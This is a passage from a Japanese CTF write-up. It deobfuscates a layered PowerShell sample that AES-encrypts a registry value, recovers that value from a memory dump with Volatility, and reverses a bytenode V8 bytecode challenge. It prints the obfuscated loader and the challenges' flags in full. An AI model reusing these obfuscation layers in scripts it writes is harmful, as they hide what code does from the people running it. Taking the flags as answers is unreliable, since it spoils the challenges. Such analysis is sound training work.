uAFvXCtHmTjoYx5ss9RL9og9+LPp/DG6qXW72uFXPsngl0HocSKkNiNDQTPJaOaoEakZCiz4Ov93iXmjBZN8q8zc9re8no5FWrnRnomNeY+DzMPaPI40u2FSwVCzCkjTP6JGVnrfi04fFkuF/McI49pG/St1giA8Bb+19x98+BugX95Q1jL362dCCtL52KWA9d4nSQdplW0vN8o0LABXTtFI+3QYhZxXUxEptGW6C2cp2PMbKE1ZBc9ZHrmeFMxz06MBQ5A2vKqFzVwFnjqkZ2keGCqpvKahlMvM/') , [sYStEM.IO.comPression.cOmpReSsIoNmOde]::DeComprESS)|%{ NEW-oBjECt Io.StREAMReadER( $_ ,[tExt.enCODiNg]::aSCII) } ).reaDtoEND() 

CyberChefでinflateする。なんかすごい。どうせ $vErbOsePrEFeReNcE.TosTrIng()[1,3]+'X'-jOiN''iex なので、それ以降の処理がどうなっているか確認したい。

 . ( $vErbOsePrEFeReNcE.TosTrIng()[1,3]+'X'-jOiN'')(((("{29}{5}{38}{55}{1}{46}{27}{2}{26}{33}{31}{43}{21}{9}{6}{32}{28}{39}{34}{15}{18}{54}{53}{16}{47}{8}{51}{13}{50}{25}{37}{36}{52}{23}{22}{3}{19}{4}{30}{57}{49}{0}{58}{20}{40}{42}{41}{24}{45}{12}{44}{11}{48}{10}{17}{56}{7}{14}{35}"-f'{PUxrohSH+hSHxb-]}i{hSH+hSHPUx[}b{PUx=]}i{PUx[}B{PUx{)++}i{PUx;FIahTvYJGnEvYJL','hSH eCalpeR-43]RahC[,)07]RahC[+37]RahC[+79]RahC[( eCalpeR- 63]','H;};006 sdnoceS- )pkilS-tratSpki,pk','pkitppki,pkiyrC.ytirucpkif- FIa}2{}6{}5{}9{}3{}1{}0{}7{}','i,pkiejpki f-FIa}2{}0{}1{FIa(.hSH+hSH = }hvYJhSH+hSHS{PUx;)pkiredivopki,pkieApkihS',' {( [ReGeX]::mAtCHEs(ZDG)hSHhSHNiOJ-]52,51,4[CEP','SH+hSHgNeLFIa.}b{PUx ,0 ,}b{PUx(ekovnI.)pkisnarpkih','hSH+hSHtes{ )1 qe- yaD.)etaD-teG( dna- 4 q','hSH}H{PUx = FIayevYJkFIa.}A{PUx;))}K{PUx(ehSH+hSHkovnI.)pkisphSH+hSHki,hSH+hSHpkiteGpki,pkietyBpkif-FhSH+hSHIa}2{}0{}1{FIa(.}U{PUx(FIaHsahvYJETuPMvYJOvYJcFIa.}hSH','YJh','SH','Hp','i,pkiawtfoSEOpkhSH+hSHi,pkifpki,pkiFTCEOpki,pkix','}H{PUx;)pkimpki,pkiE8FTU.txhSH+hSHeT.pki,pkietsySpki,pkigpki,pkinidocnpkif','e- htnoM.)etaD-teG((fihSH(( ZDG ,hSH.hSH ,hSHrIGHtTolEfThSH )-Join hSHhSH) 7rt &( IM','.}e{PUx =','H+hSH= FhSH+hSHIaVvYJIFIa.}A{PUx;','+hSHa}4{}2{',' }DvYJe{PUx;hSH+hSH)(e','4{}01{}8{FIa( )pkitcpki,pkibO-weNpk','PUx(rof;))pkirpki,pkibb1fpki,pki3pkhSH+hS','spki(&;}dE{PUx;)FIaHTv','idpki,','H+hSHi,pk','PER-  )hSH+hSH)pk','I','ippki,pkiee','rC- )hS','ki','if (IMYenv:COMPUTERNAME -eq ZDGRICSECZDG)','H+hSH,pkiivrepki,pkiSophSH+hSHki,pkispki,pkitpyrpki,pkiS.pki,pkigopki,pki','N- ))29]RaHc[]gnIRTs[,)45]RaHc[+111]RaHc[+401]RaHc[((FIaecAlPvYJerFIa.))pkiFpki,pkioh:pki,pkiUpki,pkiTChSH+hSHpki,pkifosorcihSH+hSHM6hSH+hSHohepki,pki6ohtpki,pkiCKHpki,pkioS6pki,pkiraw','SH+hSH,pkikcolBlapki,p','pkihSH+hSH f- FIa}1{}0{}hSH+hSH2hSH+hSH{FIa(.;}de{PUx eulaV- )pkineifpki,pkidpkif-FIahSH+hSH}hSH+hSH0{}1{FIa( ema','i,pkihSH+hSHniFmrofpkif-FIa}2{}0{}3{}1hSH+hSH{FIa(','YSheLLID[1]+IMYSheLliD[13]+hSHxhSH)};','hSHapki,pkiySpki,pkiepki,pkieganhSH+hSHaM652Apki,pkiHS.ypki,pkiS.','a(. = }U{PUx;)pkietspki,pkihphSH+','sMOc:VneIMY (.7rt)93]RahC[,)211]RahC[+701]RahC[+501]RahC[(eCALPErC-69]R','Tpk','Hif- FIa}2{}0hSH+hSH{}1{FIa((ekovnI.)pkisetpki,pkihSH+hSH','H+hSH)96]rAHc[+97]rAHc[+021]rAHc[( ecal','Gpki,pkiyhSH+hSHBtepkif-FhSH+hSHIa}2{}0{}1{FIa(.FIaiivYJcSaFIa:hSH+hSH:1KIQ9sPUx  =}k{PUx;FIaDNeivYJfFIa.))29]rAHc[,hS','pki,pkitfpki f-FIa}9{}6{}4{}5{}1{}0{}2{}8{}7{}3{FIa((( )pkip','tpki,pkix:pkif-FIa}2{}1{}3{}7{}5{}4{}0{}6{FIa((( )pkipgpki(&(=}B{PUx  ;) hSH+hSH )pkiGpki,pkiOcNE.TxEhSH+hS','iosorciMEOxpki,pkiUCKHpki,pkierpk','RahC[,hSHPUxhSH eCALPE','hSH+hSH51..0 = }vIhSH+hSH{PUx]][etyb[;hSH+','kihSH+hSH,pkiNIhSH+hSHdpki,pkit.METpki,pkisYspkif-FIh','pyrC.ytirucepki,pkirPecpki,pki.yhparpki,pkimetsySpki f-FIhSH+hSHa}21{}2{}01{}9{}7{}4{}8{}11{}1{}hSH+hSH5{}hSH+hSH3{}6{}0{FIa( )pkicepki,pkijbOpki,pki-weNpki,pkitpki f-FIa}0{}3{}2{}1{FIa(. = }A{PUx;}]FIahtGvYJNeLFIa.}k{PUx%}i{PUx[}k','- FhSH+hSHIhSH+hSHa}hSH+hSH1{}0{}3{}4{}2{FIa( )pkitcejbO-pki,pkiNpki,pkiwephSH+hSHkif-FIa}2{}0{}1{F','+hSHhs{PUhSH+hSHx = ','mpki,pkirgopkhS','2{}0{}1{}3{}4{FIa(.}a{PUx = }e{hSH+hSHPUx;}Vi{PUx hS','kovnI.)pkirChSH+hSHpki,hSH+hSHpkithSH+hSHaepki,pkirotpki,pkiepki,pkipyrcnEpkhSH+hSHi f- FIa}','ahC[,hSHvYJ','}3{}1{}0{FIa(]ePYT[  (  )pki1pkhSH+hSHi+pkikIpki+pkiq9s:ElbairaVpki(  mEtI-','Cpki,pkit','FIa.}hSH+hSHB{PUxtl-}i{PUx;0=}i{'))-rePlace '7rt',[chaR]124  -rePlace  'ZDG',[chaR]34-cRePlAce  ([chaR]104+[chaR]83+[chaR]72),[chaR]39-cRePlAce 'IMY',[chaR]36) )

最初の .Write-Host に書き換えて実行すると、さらに次のようなスクリプトが得られた。はい。if ($env:COMPUTERNAME -eq "RICSEC") { … } という条件文があるけれども、それよりも何がこう難読化されているかを知りたい。

ieX if ($env:COMPUTERNAME -eq "RICSEC") {( [ReGeX]::mAtCHEs(")''NiOJ-]52,51,4[CEPsMOc:Vne$ (.|)93]RahC[,)211]RahC[+701]RahC[+501]RahC[(eCALPErC-69]RahC[,'vYJ' eCalpeR-43]RahC[,)07]RahC[+37]RahC[+79]RahC[( eCalpeR- 63]RahC[,'PUx' eCALPErC- )';};006 sdnoceS- )pkilS-tratSpki,pkippki,pkieepki'+' f- FIa}1{}0{}'+'2'+'{FIa(.;}de{PUx eulaV- )pkineifpki,pkidpkif-FIa'+'}'+'0{}1{FIa( emaN- ))29]RaHc[]gnIRTs[,)45]RaHc[+111]RaHc[+401]RaHc[((FIaecAlPvYJerFIa.))pkiFpki,pkioh:pki,pkiUpki,pkiTC'+'pki,pkifosorci'+'M6'+'ohepki,pki6ohtpki,pkiCKHpki,pkioS6pki,pkirawpki,pkitfpki f-FIa}9{}6{}4{}5{}1{}0{}2{}8{}7{}3{FIa((( )pkipspki(&;}dE{PUx;)FIaHTvYJ'+'gNeLFIa.}b{PUx ,0 ,}b{PUx(ekovnI.)pkisnarpki'+',pkikcolBlapki,pkiTpki,pki'+'niFmrofpkif-FIa}2{}0{}3{}1'+'{FIa(.}e{PUx = }DvYJe{PUx;'+')(ekovnI.)pkirC'+'pki,'+'pkit'+'aepki,pkirotpki,pkiepki,pkipyrcnEpk'+'i f- FIa}2{}0{}1{}3{}4{FIa(.}a{PUx = }e{'+'PUx;}Vi{PUx '+'= F'+'IaVvYJIFIa.}A{PUx;'+'51..0 = }vI'+'{PUx]][etyb[;'+'}H{PUx = FIayevYJkFIa.}A{PUx;))}K{PUx(e'+'kovnI.)pkisp'+'ki,'+'pkiteGpki,pkietyBpkif-F'+'Ia}2{}0{}1{FIa(.}U{PUx(FIaHsahvYJETuPMvYJOvYJcFIa.}'+'hs{PU'+'x = }H{PUx;)pkimpki,pkiE8FTU.tx'+'eT.pki,pkietsySpki,pkigpki,pkinidocnpkif- F'+'I'+'a}'+'1{}0{}3{}4{}2{FIa( )pkitcejbO-pki,pkiNpki,pkiwep'+'kif-FIa}2{}0{}1{FIa(. = }U{PUx;)pkietspki,pkihp'+'apki,pkiySpki,pkiepki,pkiegan'+'aM652Apki,pkiHS.ypki,pkiS.mpki,pkirgopk'+'i,pkidpki,pkitppki,pkiyrC.ytirucpkif- FIa}2{}6{}5{}9{}3{}1{}0{}7{}4{}01{}8{FIa( )pkitcpki,pkibO-weNpki,pkiejpki f-FIa}2{}0{}1{FIa(.'+' = }hvYJ'+'S{PUx;)pkiredivopki,pkieApki'+',pkiivrepki,pkiSop'+'ki,pkispki,pkitpyrpki,pkiS.pki,pkigopki,pkiCpki,pkitpyrC.ytirucepki,pkirPecpki,pki.yhparpki,pkimetsySpki f-FI'+'a}21{}2{}01{}9{}7{}4{}8{}11{}1{}'+'5{}'+'3{}6{}0{FIa( )pkicepki,pkijbOpki,pki-weNpki,pkitpki f-FIa}0{}3{}2{}1{FIa(. = }A{PUx;}]FIahtGvYJNeLFIa.}k{PUx%}i{PUx[}k{PUxro'+'xb-]}i{'+'PUx[}b{PUx=]}i{PUx[}B{PUx{)++}i{PUx;FIahTvYJGnEvYJLFIa.}'+'B{PUxtl-}i{PUx;0=}i{PUx(rof;))pkirpki,pkibb1fpki,pki3pk'+'if- FIa}2{}0'+'{}1{FIa((ekovnI.)pkisetpki,pki'+'Gpki,pkiy'+'Btepkif-F'+'Ia}2{}0{}1{FIa(.FIaiivYJcSaFIa:'+':1KIQ9sPUx  =}k{PUx;FIaDNeivYJfFIa.))29]rAHc[,'+')96]rAHc[+97]rAHc[+021]rAHc[( ecalPER-  )'+')pkiosorciMEOxpki,pkiUCKHpki,pkierpki,pkiawtfoSEOpk'+'i,pkifpki,pkiFTCEOpki,pkixtpki,pkix:pkif-FIa}2{}1{}3{}7{}5{}4{}0{}6{FIa((( )pkipgpki(&(=}B{PUx  ;) '+' )pkiGpki,pkiOcNE.TxE'+'pki'+',pkiNI'+'dpki,pkit.METpki,pkisYspkif-FI'+'a}4{}2{}3{}1{}0{FIa(]ePYT[  (  )pki1pk'+'i+pkikIpki+pkiq9s:ElbairaVpki(  mEtI-'+'tes{ )1 qe- yaD.)etaD-teG( dna- 4 qe- htnoM.)etaD-teG((fi'(( " ,'.' ,'rIGHtTolEfT' )-Join '') | &( $SheLLID[1]+$SheLliD[13]+'x')};

$SheLLID[1]+$SheLliD[13]+'x' はきっと iex なので、これに投げられている部分を抽出して実行する。シンタックスハイライトをしてもらうと、どの部分が文字列なのかがわかりやすくてよい。

次のようなスクリプトが吐き出された。$enV:cOMsPEC[4,15,25]-JOiN'' はやっぱり iex

 (('if((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {set'+'-ItEm  (ikpVariablE:s9qikp+ikpIkikp+i'+'kp1ikp)  (  [TYPe](aIF{0}{1}{3}{2}{4}a'+'IF-fikpsYsikp,ikpTEM.tikp,ikpd'+'INikp,'+'ikp'+'ExT.ENcOikp,ikpGikp) '+' );  xUP{B}=(&(ikpgpikp) (((aIF{6}{0}{4}{5}{7}{3}{1}{2}aIF-fikp:xikp,ikptxikp,ikpOECTFikp,ikpfikp,i'+'kpOESoftwaikp,ikpreikp,ikpHKCUikp,ikpxOEMicrosoikp)'+')  -REPlace ([cHAr]120+[cHAr]79+[cHAr]69)'+',[cHAr]92)).aIFfJYvieNDaIF;xUP{k}=  xUPs9QIK1:'+':aIFaScJYviiaIF.(aIF{1}{0}{2}aI'+'F-fikpetB'+'yikp,ikpG'+'ikp,ikptesikp).Invoke((aIF{1}{'+'0}{2}aIF -fi'+'kp3ikp,ikpf1bbikp,ikprikp));for(xUP{i}=0;xUP{i}-ltxUP{B'+'}.aIFLJYvEnGJYvThaIF;xUP{i}++){xUP{B}[xUP{i}]=xUP{b}[xUP'+'{i}]-bx'+'orxUP{k}[xUP{i}%xUP{k}.aIFLeNJYvGthaIF]};xUP{A} = .(aIF{1}{2}{3}{0}aIF-f ikptikp,ikpNew-ikp,ikpObjikp,ikpecikp) (aIF{0}{6}{3'+'}{5'+'}{1}{11}{8}{4}{7}{9}{10}{2}{12}a'+'IF-f ikpSystemikp,ikpraphy.ikp,ikpcePrikp,ikpecurity.Cryptikp,ikpCikp,ikpogikp,ikp.Sikp,ikpryptikp,ikpsikp,ik'+'poSikp,ikperviikp,'+'ikpAeikp,ikpoviderikp);xUP{S'+'JYvh} = '+'.(aIF{1}{0}{2}aIF-f ikpjeikp,ikpNew-Obikp,ikpctikp) (aIF{8}{10}{4}{7}{0}{1}{3}{9}{5}{6}{2}aIF -fikpcurity.Cryikp,ikpptikp,ikpdikp,i'+'kpogrikp,ikpm.Sikp,ikpy.SHikp,ikpA256Ma'+'nageikp,ikpeikp,ikpSyikp,ikpa'+'phikp,ikpsteikp);xUP{U} = .(aIF{1}{0}{2}aIF-fik'+'pewikp,ikpNikp,ikp-Objectikp) (aIF{2}{4}{3}{0}{1'+'}a'+'I'+'F -fikpncodinikp,ikpgikp,ikpSysteikp,ikp.Te'+'xt.UTF8Eikp,ikpmikp);xUP{H} = x'+'UP{sh'+'}.aIFcJYvOJYvMPuTEJYvhasHaIF(xUP{U}.(aIF{1}{0}{2}aI'+'F-fikpByteikp,ikpGetikp'+',ik'+'psikp).Invok'+'e(xUP{K}));xUP{A}.aIFkJYveyaIF = xUP{H}'+';[byte[]]xUP{'+'Iv} = 0..15'+';xUP{A}.aIFIJYvVaI'+'F ='+' xUP{iV};xUP'+'{e} = xUP{a}.(aIF{4}{3}{1}{0}{2}aIF -f i'+'kpEncrypikp,ikpeikp,ikptorikp,ikpea'+'tikp'+',ikp'+'Crikp).Invoke()'+';xUP{eJYvD} = xUP{e}.(aIF{'+'1}{3}{0}{2}aIF-fikpformFin'+'ikp,ikpTikp,ikpalBlockikp,'+'ikpransikp).Invoke(xUP{b}, 0, xUP{b}.aIFLeNg'+'JYvTHaIF);xUP{Ed};&(ikpspikp) (((aIF{3}{7}{8}{2}{0}{1}{5}{4}{6}{9}aIF-f ikpftikp,ikpwarikp,ikp6Soikp,ikpHKCikp,ikptho6ikp,ikpeho'+'6M'+'icrosofikp,ikp'+'CTikp,ikpUikp,ikp:hoikp,ikpFikp)).aIFreJYvPlAceaIF(([cHaR]104+[cHaR]111+[cHaR]54),[sTRIng][cHaR]92)) -Name (aIF{1}{0'+'}'+'aIF-fikpdikp,ikpfienikp) -Value xUP{ed};.(aIF{'+'2'+'}{0}{1}aIF -f '+'ikpeeikp,ikppikp,ikpStart-Slikp) -Seconds 600;};') -CrEPLACe 'xUP',[ChaR]36 -ReplaCe ([ChaR]97+[ChaR]73+[ChaR]70),[ChaR]34-ReplaCe 'JYv',[ChaR]96-CrEPLACe([ChaR]105+[ChaR]107+[ChaR]112),[ChaR]39)|.( $enV:cOMsPEC[4,15,25]-JOiN'')

iex に投げられている部分を抽出して実行する。やっとまともに読めるPowerShellスクリプトが出てきた。

if((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {set-ItEm  ('VariablE:s9q'+'Ik'+'1')  (  [TYPe]("{0}{1}{3}{2}{4}"-f'sYs','TEM.t','dIN','ExT.ENcO','G')  );  ${B}=(&('gp') ((("{6}{0}{4}{5}{7}{3}{1}{2}"-f':x','tx','OECTF','f','OESoftwa','re','HKCU','xOEMicroso'))  -REPlace ([cHAr]120+[cHAr]79+[cHAr]69),[cHAr]92))."f`ieND";${k}=  $s9QIK1::"aSc`ii".("{1}{0}{2}"-f'etBy','G','tes').Invoke(("{1}{0}{2}" -f'3','f1bb','r'));for(${i}=0;${i}-lt${B}."L`EnG`Th";${i}++){${B}[${i}]=${b}[${i}]-bxor${k}[${i}%${k}."LeN`Gth"]};${A} = .("{1}{2}{3}{0}"-f 't','New-','Obj','ec') ("{0}{6}{3}{5}{1}{11}{8}{4}{7}{9}{10}{2}{12}"-f 'System','raphy.','cePr','ecurity.Crypt','C','og','.S','rypt','s','oS','ervi','Ae','ovider');${S`h} = .("{1}{0}{2}"-f 'je','New-Ob','ct') ("{8}{10}{4}{7}{0}{1}{3}{9}{5}{6}{2}" -f'curity.Cry','pt','d','ogr','m.S','y.SH','A256Manage','e','Sy','aph','ste');${U} = .("{1}{0}{2}"-f'ew','N','-Object') ("{2}{4}{3}{0}{1}" -f'ncodin','g','Syste','.Text.UTF8E','m');${H} = ${sh}."c`O`MPuTE`hasH"(${U}.("{1}{0}{2}"-f'Byte','Get','s').Invoke(${K}));${A}."k`ey" = ${H};[byte[]]${Iv} = 0..15;${A}."I`V" = ${iV};${e} = ${a}.("{4}{3}{1}{0}{2}" -f 'Encryp','e','tor','eat','Cr').Invoke();${e`D} = ${e}.("{1}{3}{0}{2}"-f'formFin','T','alBlock','rans').Invoke(${b}, 0, ${b}."LeNg`TH");${Ed};&('sp') ((("{3}{7}{8}{2}{0}{1}{5}{4}{6}{9}"-f 'ft','war','6So','HKC','tho6','eho6Microsof','CT','U',':ho','F'))."re`PlAce"(([cHaR]104+[cHaR]111+[cHaR]54),[sTRIng][cHaR]92)) -Name ("{1}{0}"-f'd','fien') -Value ${ed};.("{2}{0}{1}" -f 'ee','p','Start-Sl') -Seconds 600;};

minifyされていてちょっと読みづらいので適宜改行などを入れ、さらに難読化されている部分を実行して元の文字列を手に入れる。これでだいぶ読みやすくなった。

AesCryptoServiceProvider を使っているあたりから、AESによる暗号化をしているのだなあという雰囲気がつかめる。ではそれで何を暗号化しているかというと、(&('gp') ("HKCU:\Software\Microsoft\CTF")."fieND"Get-ItemProperty によってレジストリを参照している。そして、暗号化してからそれを同じ場所に格納している。

if ((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {
    set-ItEm  VariablE:s9qIk1 (  [TYPe]("sYsTEM.tExT.ENcOdING")  );
    
    ${B}=(&('gp') ("HKCU:\Software\Microsoft\CTF")."f`ieND";

    ${k} = $s9QIK1::"aSc`ii".GetBytes.Invoke("f1bb3r");
    for (${i} = 0; ${i} -lt ${B}."L`EnG`Th"; ${i}++) {
        ${B}[${i}] = ${b}[${i}]-bxor${k}[${i} % ${k}."LeN`Gth"]
    };

    ${A} = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
    ${S`h} = New-Object System.Security.Cryptography.SHA256Managed;
    ${U} = New-Object System.Text.UTF8Encoding;
    ${H} = ${sh}.cOMPuTEhasH(${U}.GetBytes.Invoke(${K}));

    ${A}."k`ey" = ${H};
    [byte[]]${Iv} = 0..15;
    ${A}."I`V" = ${iV};

    ${e} = ${a}.CreateEncryptor.Invoke();
    ${e`D} = ${e}.TransformFinalBlock.Invoke(${b}, 0, ${b}."LeNg`TH");
    ${Ed};
    &('sp') "HKCU:\Software\Microsoft\CTF" -Name "fiend" -Value ${ed};
    .("{2}{0}{1}" -f 'ee', 'p', 'Start-Sl') -Seconds 600;
};

復号はその逆の処理をすればよさそう。秘密鍵とIVは適当に実行して手に入れておく。

さて、暗号化された後のバイト列を手に入れるためには、レジストリを参照する必要がある。そのために、Volatilityで再びメモリダンプを見ていく。さっきのスクリプトはHKCUを参照していたので、見るべき場所は C:\Users\User\ntuser.dat だ。

$ vol -f memory.raw windows.registry.hivelist.HiveList
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Offset  FileFullPath    File output

0x850e68a85000          Disabled
0x850e68a5b000  \REGISTRY\MACHINE\SYSTEM        Disabled
0x850e68b32000  \REGISTRY\MACHINE\HARDWARE      Disabled
0x850e6a450000  \SystemRoot\System32\Config\SOFTWARE    Disabled
…
0x850e6e280000  \??\C:\Users\User\ntuser.dat    Disabled
…

vol -f memory.raw windows.registry.printkey.PrintKey --offset 0x850e6e280000 --recurse で、以下のように fiend に入っているバイト列が取り出せた。これをCyberChefで復号するとフラグが得られる。

*** 2023-04-01 08:44:57.000000     0x850e6e280000    REG_BINARY    \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF    fiend    "
39 da 2a 85 c9 5b 42 17    9.*..[B.
84 11 d8 23 3b 0b f2 0e    ...#;...
26 8c 95 89 ff e6 f1 7e    &......~
4b f8 43 42 d0 24 37 70    K.CB.$7p"    False
RicSec{6r347_90w3r!}

[Reversing 341] ignition (6 solves)

3... 2... 1... ignition.

Hint: use Ghidra v9.2.2

authored by Arata

添付ファイル: ignition

challenge.jsc という謎のファイルが与えられている。file コマンドに投げてみるが、そんなん知らんわと言われる。

$ file challenge.jsc
challenge.jsc: data

このファイルを実行するための check.sh と、check.sh が必要とする Dockerfile も添付されている。それぞれ以下のような内容で、どうやら bytenode/bytenode というツールによって実行しているようだとわかる。BytenodeはNode.js向けの(V8の)バイトコードコンパイラらしい。実行もできる。

#!/bin/sh

docker build -t ignition . > /dev/null 2>&1
docker run --rm ignition $@
FROM node:8

RUN npm i -g bytenode

COPY challenge.jsc /

ENTRYPOINT ["bytenode", "/challenge.jsc"]

ではどうすれば challenge.jsc を解析できるだろうか。問題文からGhidraを使えそうなことがわかるので、ghidra jsc のようなクエリで検索する。すると、PositiveTechnologies/ghidra_nodejs という便利そうなツールが見つかる。少し古めのようで、9.2.2とGhidraもちょっと古めのものを用意しろと言われている意味がわかった。

Ghidra 9.2.2をダウンロードしてきて、このプラグインを導入する。challenge.jsc を投げると以下のようにいい感じにデコンパイルできた。ただし、デコンパイル先はJavaScriptでなくCだけれども。

ちょっと面倒だけど読めないことはないので、JavaScriptコードに直していく。main は次のような感じ。

if (process.argv.length !== 3) {
    console.log('Usage: check.sh <flag>');
    process.exit(1);
}

if (checkFlag(process.argv[2])) {
    console.log("Correct");
} else {
    console.log("Wrong");
}

checkFlag は次のような感じ。ところどころ違うだろうけれども、こういう雰囲気ということで。元のコードでは、たとえば配列の初期化処理が CreateArrayLiteral(_context,_closure,0,0,0x25) のようになっていて、じゃあその中身はどこなんだと探したり(別の場所にまとめられていた)、プロパティへのアクセスが LdaNamedProperty(iVar3,"slice") のようになっていて、第一引数はどのオブジェクトなんだと探したりと色々面倒だったが、なんとかなった。

function checkFlag(s) {
    const encoded = [0x31,0x66,0x6F,0x33,0x77,0x34,0x38,0x63,0x4A,0x40,0x4E,0x2D,0xF5,0x8A,0x49,0x6,0xBE,0x62,0x29,0x26,0x32,0xB1,0x1F,0xAE,0x52,0x20,0x52,0x2A];

    if (s.length !== 0x24) {
        return false;
    }
    if (s.slice(0, 7) !== 'RicSec{') {
        return false;
    }
    if (s.slice(-1) !== '}') {
        return false;
    }

    for (let i = 0; i <= 0x1b; i++) {
        const c = s.charCodeAt(i + 7)
        if (((F(c) ^ c) & 0xff) !== encoded[i]) {
            return false;
        }
    }

    return true;
}

最後に F。こういうスクリーンショットを投げたところ、ふるつきさんがフィボナッチ数列っぽいとエスパーしてくれた。

とりあえず Fフィボナッチ数列として、encoded をもとにデコードするスクリプトを書く。フラグが得られた。

function fib(n) {
    let [a, b] = [0, 1];
    for (let i = 0; i < n; i++) {
        [a, b] = [b, a + b];
    }
    return a;
}

const a = [0x31,0x66,0x6F,0x33,0x77,0x34,0x38,0x63,0x4A,0x40,0x4E,0x2D,0xF5,0x8A,0x49,0x6,0xBE,0x62,0x29,0x26,0x32,0xB1,0x1F,0xAE,0x52,0x20,0x52,0x2A];
console.log(a.map((x, i) => String.fromCharCode(x ^ (fib(i) & 0xff))).join('')); // => 1gn1t10n_bytec0de_1s_s0_r1ch
RicSec{1gn1t10n_bytec0de_1s_s0_r1ch}

*1:今回は3人での参加だった

*2:CTFに出るたびに言っている